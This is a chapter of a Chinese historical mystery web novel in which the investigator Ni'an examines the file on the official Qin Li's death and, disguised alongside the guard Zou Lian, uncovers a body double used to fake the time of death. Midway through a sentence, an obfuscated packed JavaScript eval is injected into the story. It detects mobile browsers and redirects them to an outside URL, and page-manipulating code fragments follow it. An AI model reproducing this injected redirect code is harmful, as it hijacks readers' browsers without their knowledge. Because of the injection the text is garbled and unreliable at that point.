除了满满一车赏赐的珠宝，副将折戟还领来一位武将，此人名叫邹连。
折戟只草略解释，此番前往事关官员殒命，多带一名武将随行，便多些稳妥。
这话听来合情合理，可霓安心里却跟明镜似的。上回堤坝一案，她锋芒毕露，这般特意派个人在旁，明里随行，暗里监视她的一言一行。
或许往好处想，这邹连身手不凡，若真在途中遇上什么凶险，说不定还能在危急关头护她一命。
小小的书桌上，整齐摊着有关秦厉大人的一应资料。霓安指尖轻轻拂过那页薄薄的案情报告，不过寥寥数语，便概括了一位朝廷命官的离奇身死。
她望着那几页单薄的纸，心头不由泛起一阵淡淡的感伤。
人活一世，草木一秋，纵是兢兢业业半生，在官场奔走，到最后留于世间的，也不过是这薄薄几页文书。
霓安伸手翻开那叠卷宗，指尖刚一触到纸面，便微微一顿。那凹凸不平的纸张，绝非如今朝中通行的桑皮纸，而是先帝在位时常用的麻纸。
麻纸纤维不均，因而导致其不易吸墨，远不如后来的纸张细腻。也正因如此，当今圣上登基次年，便下旨改用以南方出产的桑皮纸。
桑皮纸质地匀净平整，不仅书写顺滑，还能以黄檗浸染成明黄色，能防虫蛀蚀，长久保存。
眼前这份卷宗用的却是麻纸，足以说明，秦厉大人早在先帝一朝，便已入朝为官。
她翻开卷宗扉页，果然印证了猜想。
安远十年，秦厉刚过而立之年，随军出征北境。战事纷乱之中，他拼死救下身陷重围的大将军贠长庚，从无名小卒一跃擢升为正四品折冲都尉，前途一片坦荡。
可霓安分明记得，如今案卷上标注的秦厉官职，不过是区区从五品兵部员外郎。
从堂堂四品都尉，贬至五品员外郎，其间落差不小，究竟是因何过失，才遭此降职呢？
继续向后翻阅，后面几页密密麻麻记满了他任折冲都尉时的功绩，桩桩件件皆有记载。
可唯独关于贬官一事，卷宗里只字未提，仿佛被人刻意隐去。
更蹊跷的是，自从先帝驾崩之后，有关秦厉的记载骤然减少，仿佛一夜之间便从朝堂中枢淡出。
霓安指尖停在纸页上，心头隐隐生出一个念头。
难道是当今圣上登基之后，对先帝旧臣心存忌惮，不愿重用的缘故吗？
前朝历史上，这般情形本就屡见不鲜。明明是血脉相承的父子，皇权更迭，便难免猜忌丛生，即使前朝功臣即便忠心耿耿，也常被视作隐患。
霓安接着翻开那案件报告，其记载秦厉大人一生孤身，并无妻儿子嗣，发现他尸首的，是同住一处的邻居——礼部太子中舍人。
太子中舍人本是出身文臣的礼官，素来对武将略有轻视，不过因为秦厉大人为人通透豁达，性情豪爽洒脱，唯独对其另眼相看，十分敬佩。
自他任职太子中舍人以来，便与秦厉往来密切，交情日渐深厚。后来秦厉不幸罹患重疾，双腿痿废，太子中舍人便常常前往秦厉院中对坐饮酒，打发时日。
可前些日子，他却发觉异样。秦厉家的院门一连三日紧锁。起初他只当秦厉是不愿被人打扰，并未多想。
可他深知秦厉性子——即便闭门休憩，至多一两日便会出门走动，再加秦厉素来喜爱前往醉红轩饮酒听曲，从来熬不过三日。此番一连三日足不出户，连半点动静都无，实在反常至极。
他按捺不住，命人叩门呼喊，可院内始终无人应答。放心不下的他，索性让下人帮扶着翻墙入内。
屋内空无一人，四下翻找不见踪迹，直到踏过院角积雪，才发觉雪下异样，刨开冰雪一看，秦厉的尸首早已被深埋在皑皑白雪之下。
严寒冰冻，足以大幅延缓尸身的一切变化。
这一来，最根本的死亡时间线索便彻底断了。因此此案便无法凭尸身推断真凶，只能转而依靠沿街询问。
但是好在需要排查的范围其实清晰明了，秦厉大人一生孤介，人际关系素来简单。
霓安目光下移，便看到了仵作对秦厉尸首的勘验结果，体表可见明显外伤，衣衫浸染血迹，初步判断，生前曾遭人以钝器重击。
不过眼下最要紧的，就是先去探查那个最具嫌疑的戏台班子——秦厉大人最后一次现身于民众眼前，且一改双腿痿废的残疾，健步如飞的地方。
*
傍晚，雪刚歇。
虽然后街泥雪混杂，却是另一番热闹。
一方简陋戏台搭在空地上，锣鼓声哑，围满了衣衫单薄的穷苦人。
霓安一身半旧的青布衣褂，腰间随意束着根素色布带。可即便这般粗布男装裹身，也难掩她骨子里那股清透灵气。
霓安与邹连并肩走入后街，路面泥泞湿滑，两人皆是一身布衣打扮，远远望去，倒像一对容貌俊秀的亲兄弟。
“小姐可是想暗访后街戏台？”
邹连冷不丁的开口，把低头思索案情的霓安吓了一怔。
“正是。”她定了定神，思索片刻觉得有些不妥的轻声叮嘱，
“有劳邹连大人，在外切莫唤我小姐，只叫我阿弟便好，免得引人疑心，坏了暗访之事。”
邹连目光在她脸上淡淡一落，语气平静，“阿弟这般模样，过于惹眼了。”
霓安低头看了看自己身上洗得发白，边角微破的青布衣褂，满心困惑，实在不明白哪里算得上惹眼。
邹连轻叹一声，低声提点，“阿弟容貌过于清丽干净。贫苦百姓终日劳作奔波，脸上哪会这般洁净，多少要带些尘污，你这般，反倒格格不入。”
霓安心头一紧，暗道糟糕。
从前在村寨里，大人人面上皆是尘土粗粝不堪。只是在尚书府待得久了，竟把这市井乔装最要紧的细节忘得一干二净。若是此刻赶回府去取乔装用的灰粉，必定耽误戏台开锣。
她一时僵在原地，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484526|201926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手足无措。
邹连看在眼里，默默从怀中取出一个巴掌大的小布包，递到她面前，“阿弟若是不嫌弃，可用此物。此为草木灰，行军途中常用来处理伤口、净化饮水，用来掩饰容貌正好。”
霓安连忙接过，就近捏了些许雪水，将指尖沾的草木灰溶开，轻轻抹在眉间与脸颊侧面。
她转头看向邹连，眼底带着几分试探“阿哥你看如何？”
邹连抬眼望去，那草木灰本是用来扮作脏污，可落在她细腻白皙的脸上，反倒像浅淡的花痕。
邹连嘴角微不可查地抽了抽，只生硬道“……阿弟尽力便好。”
明明是他提醒自己乔装，现在反倒来取笑她。
少女指尖还沾着剩余的草木灰，趁他不备，抬手便往邹连脸颊上胡乱抹了两把。
一时之间，两人脸上都沾着狼狈的灰痕…
邹连无奈扶额，可草木灰恰好遮住了两人脸上泪痣斑点尽数隐去，也算歪打正着。
既如此，便这般去吧……
夜色渐沉，这样伸手不见五指之时，便是戏台班子开锣之时。
台上戏子的脸是全然看不清的，眉眼口鼻都隐于黑暗中，台上伶人的水袖翻飞，也只看得见一抹亮色在暗影里划开弧线，辨不清其容貌。
这就说得通了！
台下的百姓向来都是靠着台上人穿戴的扮相，来判断是旦角还是生角。
如此一来，那晚站在戏台上，看似是秦厉的身影，根本就不是他本人，而是一个穿着从五品武官制服的替身！
想来台下的百姓也绝不会生出半分怀疑。秦厉乃是朝廷命官，与底层贫苦百姓几乎没有交集。
这般情况下，只要找一个身形高矮胖瘦与秦厉大致相仿之人，再借着戏台昏暗的灯光，喧闹的人群做掩护，就能轻而易举地以假乱真。
按照常理，行凶者想要掩盖罪行，向来都是低调行事，可这凶手竟反其道而行之，究竟为何。
霓安眉头微蹙，目光骤然一凝。
凶手特意把秦厉大人的尸体埋在冰天雪地之中，让尸僵、尸斑都迟迟无法显现，就是为了干扰仵作验尸，使其无法准确判断出真实的死亡时间。
假设那晚在戏台前露面的是真的秦厉大人，那便等于直接向所有目击者佐证，那个时候秦厉依旧活着。
如此一来，仵作再结合百姓证词，就会理所应当地把秦厉的死亡时间，死死卡在戏台现身之后，到次日辰时太子中舍人发现尸体的这段短暂时间里。
而凶手费尽心思卡死这个死亡时间，只有一个目的——在这段伪造的时间里，凶手拥有完美的不在场证明。
霓安越想越心惊，想要一整晚都有人为自己作证，要么是身居高位的达官显贵，在自家府邸中设宴会客，满座宾客都能为其作证。
要么就是去了京城中唯一能通宵达旦营业，陪酒的伶人都能作证，足以制造出无懈可击的不在场证明，彻底将自己摘出嫌疑。